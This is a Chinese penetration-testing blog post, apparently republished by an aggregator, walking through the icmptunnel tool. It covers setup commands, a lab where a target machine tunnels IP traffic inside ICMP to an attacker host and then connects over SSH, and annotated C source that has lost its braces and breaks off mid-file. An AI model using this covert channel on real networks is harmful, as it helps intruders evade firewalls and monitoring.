内网渗透系列:内网隧道之icmptunnel(DhavalKapil师傅的)
Posted 思源湖的鱼
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了内网渗透系列:内网隧道之icmptunnel(DhavalKapil师傅的)相关的知识,希望对你有一定的参考价值。
目录
前言
本文研究ICMP隧道的一个工具,DhavalKapil师傅的icmptunnel
github:https://github.com/DhavalKapil/icmptunnel
一、概述
1、简介
最后更新于2017年,用C语言编写,创建虚拟网卡通过ICMP协议传输IP流量
条件:
- 目标机(客户端)需要root权限
- 目标机(客户端)可以ping攻击机(服务端)
- 只能在linux环境下使用
2、原理
ICMP隧道原理参见:内网渗透系列:内网隧道之ICMP隧道
流量发送方式:
- 目标机(客户端)将IP流量封装在ICMP的echo包里发送给攻击者(服务端)
- 攻击者(服务端)将IP流量封装在ICMP的reply包里发送给目标机(客户端)
- 这两种ICMP数据包参见RFC792
架构:
3、使用
两端都要编译:
make
攻击机(服务端)建立虚拟网卡并分配IP
[sudo] ./icmptunnel -s 10.0.1.1
目标机(客户端)修改client.sh并启动隧道
[sudo] ./icmptunnel -c <server>
二、实践
1、测试场景
攻击机(服务端):kali 192.168.10.128
目标机(客户端):ubuntu 192.168.10.129
目标机可以ping通攻击机
2、建立隧道
(1)编译
make编译
make
目标机
攻击机
(2)服务端监听
先查看route
route -n
建立隧道
./icmptunnel -s 10.0.1.1
此时再次查看路由
多了个tun0的虚拟网卡
(3)客户端启动
查看路由
修改client.sh
建立连接
./icmptunnel -c 192.168.10.128
此时再次查看路由
可以看到也是多了个tun0,连接建立成功
(4)ssh
然后就可以ssh连接了
3、抓包看看
虚拟网卡tun0
网卡eth0
可以看到所有TCP流量都被装进了ICMP流量中
三、探索
1、源码与分析
(1)icmp.c
/**
* icmp.c 搞定ICMP的packet
*/
#include "icmp.h"
#include <arpa/inet.h>
#include <stdint.h>
#include <string.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
/**
* Function to calculate checksum
*/
uint16_t in_cksum(uint16_t *addr, int len);
/**
* Function to fill up common headers for IP and ICMP
*/
void prepare_headers(struct iphdr *ip, struct icmphdr *icmp);
/**
* Function to set packet type as ECHO
*/
void set_echo_type(struct icmp_packet *packet)
packet->type = ICMP_ECHO;
/**
* Function to set packet type as REPLY
*/
void set_reply_type(struct icmp_packet *packet)
packet->type = ICMP_ECHOREPLY;
/**
* Function to open a socket for icmp
*/
// 初始化一个socket,事实上大多数隧道还是用了socket
int open_icmp_socket()
int sock_fd, on = 1;
sock_fd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
if (sock_fd == -1)
perror("Unable to open ICMP socket\\n");
exit(EXIT_FAILURE);
// Providing IP Headers
if (setsockopt(sock_fd, IPPROTO_IP, IP_HDRINCL, (const char *)&on, sizeof(on)) == -1)
perror("Unable to set IP_HDRINCL socket option\\n");
exit(EXIT_FAILURE);
return sock_fd;
/**
* Function to bind the socket to INADDR_ANY
*/
// 绑定所有网卡,动静有点大的
void bind_icmp_socket(int sock_fd)
struct sockaddr_in servaddr;
// Initializing servaddr to bind to all interfaces
memset(&servaddr, 0, sizeof(struct sockaddr_in));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
// binding the socket
if (bind(sock_fd, (struct sockaddr *)&servaddr, sizeof(struct sockaddr_in)) == -1)
perror("Unable to bind\\n");
exit(EXIT_FAILURE);
/**
* Function to send ICMP Packet
*/
void send_icmp_packet(int sock_fd, struct icmp_packet *packet_details)
// Source and destination IPs
struct in_addr src_addr;
struct in_addr dest_addr;
struct iphdr *ip;
struct icmphdr *icmp;
char *icmp_payload;
int packet_size;
char *packet;
struct sockaddr_in servaddr;
// IP的进制转换
inet_pton(AF_INET, packet_details->src_addr, &src_addr);
inet_pton(AF_INET, packet_details->dest_addr, &dest_addr);
packet_size = sizeof(struct iphdr) + sizeof(struct icmphdr) + packet_details->payload_size;
packet = calloc(packet_size, sizeof(uint8_t));
if (packet == NULL)
perror("No memory available\\n");
close_icmp_socket(sock_fd);
exit(EXIT_FAILURE);
// Initializing header and payload pointers
ip = (struct iphdr *)packet;
icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
icmp_payload = (char *)(packet + sizeof(struct iphdr) + sizeof(struct icmphdr));
prepare_headers(ip, icmp);
ip->tot_len = htons(packet_size);
ip->saddr = src_addr.s_addr;
ip->daddr = dest_addr.s_addr;
memcpy(icmp_payload, packet_details->payload, packet_details->payload_size);
icmp->type = packet_details->type;
icmp->checksum = 0;
icmp->checksum = in_cksum((unsigned short *)icmp, sizeof(struct icmphdr) + packet_details->payload_size);
memset(&servaddr, 0, sizeof(struct sockaddr_in));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = dest_addr.s_addr;
// Sending the packet
sendto(sock_fd, packet, packet_size, 0, (struct sockaddr *)&servaddr, sizeof(struct sockaddr_in));
free(packet);
/**
* Function to receive an ICMP packet
*/
void receive_icmp_packet(int sock_fd, struct icmp_packet *packet_details)
struct sockaddr_in src_addr;
//struct sockaddr_in dest_addr;
struct iphdr *ip;
struct icmphdr *icmp;
char *icmp_payload;
int packet_size;
char *packet;
socklen_t src_addr_size;
int enc_MTU; //encapsulated MTU
enc_MTU = MTU + sizeof(struct iphdr) + sizeof(struct icmphdr);
packet = calloc(enc_MTU, sizeof(uint8_t));
if (packet == NULL)
perror("No memory available\\n");
close_icmp_socket(sock_fd);
exit(-1);
src_addr_size = sizeof(struct sockaddr_in);
// Receiving packet
packet_size = recvfrom(sock_fd, packet, enc_MTU, 0, (struct sockaddr *)&(src_addr), &src_addr_size);
ip = (struct iphdr *)packet;
icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
icmp_payload = (char *)(packet + sizeof(struct iphdr) + sizeof(struct icmphdr));
// Filling up packet_details
inet_ntop(AF_INET, &(ip->saddr), packet_details->src_addr, INET_ADDRSTRLEN);
inet_ntop(AF_INET, &(ip->daddr), packet_details->dest_addr, INET_ADDRSTRLEN);
packet_details->type = icmp->type;
packet_details->payload_size = packet_size - sizeof(struct iphdr) - sizeof(struct icmphdr);
packet_details->payload = calloc(packet_details->payload_size, sizeof(uint8_t));
if (packet_details->payload == NULL)
perror("No memory available\\n");
close_icmp_socket(sock_fd);
exit(-1);
memcpy(packet_details->payload, icmp_payload, packet_details->payload_size);
free(packet);
/**
* Function to close the icmp socket
*/
void close_icmp_socket(int sock_fd)
close(sock_fd);
/**
* Function to calculate checksum
*/
uint16_t in_cksum(uint16_t *addr, int len)
int nleft = len;
uint32_t sum = 0;
uint16_t *w = addr;
uint16_t answer = 0;
// Adding 16 bits sequentially in sum
while (nleft > 1)
sum += *w;
nleft -= 2;
w++;
// If an odd byte is left
if (nleft == 1)
*(unsigned char *) (&answer) = *(unsigned char *) w;
sum += answer;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return answer;
/**
* Function to fill up common headers for IP and ICMP
*/
void prepare_headers(struct iphdr *ip, struct icmphdr *icmp)
ip->version = 4;
ip->ihl = 5; //首部长度
ip->tos = 0; //4bit优先度,ICMP设为0
ip->id = rand();
ip->frag_off = 0;
ip->ttl = 255;
ip->protocol = IPPROTO_ICMP;
icmp->code = 0; // 0是echo
icmp->un.echo.sequence = rand();
icmp->un.echo.id = rand();
icmp->checksum = 0;
(2)test_client.c
// 测试客户端发送
#include "icmp.h"
#include <string.h>
int main()
struct icmp_packet packet;
char *src_ip;
char *dest_ip;
int sock_fd;
src_ip = "127.0.0.2";
dest_ip = "127.0.0.1";
strncpy(packet.src_addr, src_ip, strlen(src_ip) + 1);
strncpy(packet.dest_addr, dest_ip, strlen(dest_ip) + 1);
set_reply_type(&packet);
packet.payload = "ZZZZZZ"; // 测试的内容,可以改为更具迷惑性的
packet.payload_size = strlen(packet.payload);
sock_fd = open_icmp_socket();
send_icmp_packet(sock_fd, &packet);
close_icmp_socket(sock_fd);
(3)test_server.c
// 测试服务端的接收
#include "icmp.h"
#include <stdio.h>
#include <string.h>
int main()
struct icmp_packet packet;
int sock_fd;
sock_fd = open_icmp_socket();
bind_icmp_socket(sock_fd);
printf("server initialized\\n");
while(1)
receive_icmp_packet(sock_fd, &packet);
printf("%s\\n", packet.src_addr);
printf("%s\\n", packet.dest_addr);
printf("%d\\n", packet.type);
printf("%s\\n", packet.payload);
close_icmp_socket(sock_fd);
(4)tunnel.c
/**
* tunnel.c 通过虚拟网卡建立tunnel,并通过socket读写
*/
#include "icmp.h"
#include "tunnel.h"
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/if.h>
#include <linux/if_tun.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <netdb.h>
#include <pwd.h>
#include <pthread.h>
#include <arpa/inet.h>
#include <unistd.h>
#define DEFAULT_ROUTE "0.0.0.0"
/**
* Function to allocate a tunnel
*/
int tun_alloc(char *dev, int flags)
struct ifreq ifr;
int tun_fd, err;
char *clonedev = "/dev/net/tun"; //虚拟网卡
printf("[DEBUG] Allocating tunnel\\n");
tun_fd = open(clonedev, O_RDWR);
if(tun_fd == -1)
perror("Unable to open clone device\\n");
exit(EXIT_FAILURE);
memset(&ifr, 0, sizeof(ifr));
ifr.ifr_flags = flags;
if (*dev)
strncpy(ifr.ifr_name, dev, IFNAMSIZ);
if ((err=ioctl(tun_fd, TUNSETIFF, (void *)&ifr)) < 0)
close(tun_fd);
fprintf(stderr, "Error returned by ioctl(): %s\\n", strerror(err));
perror("Error in tun_alloc()\\n");
exit(EXIT_FAILURE);
printf("[DEBUG] Allocatating tunne以上是关于内网渗透系列:内网隧道之icmptunnel(DhavalKapil师傅的)的主要内容,如果未能解决你的问题,请参考以下文章